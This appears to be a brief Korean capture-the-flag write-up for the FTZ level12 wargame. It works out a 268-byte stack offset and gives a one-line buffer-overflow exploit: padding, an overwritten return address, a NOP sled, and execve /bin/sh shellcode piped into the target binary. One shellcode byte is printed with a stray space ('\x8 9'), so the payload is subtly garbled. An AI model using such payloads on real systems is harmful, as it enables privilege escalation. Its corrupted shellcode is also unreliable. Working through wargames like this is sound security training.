버퍼오버플로우를 사용한다!
ebp 주소: 0xbffff278
gets시작되는 주소: 0xbffff170
0xbffff278-0xbffff170=264
264+4=268
268byte 뒤의 4byte가 RET 부분!
[level12@ftz level12]$ (python -c 'print "A"*268+"\x88\xf5\xff\xbf"+"\x90"*3000+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x8 9\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"';cat)|./attackme
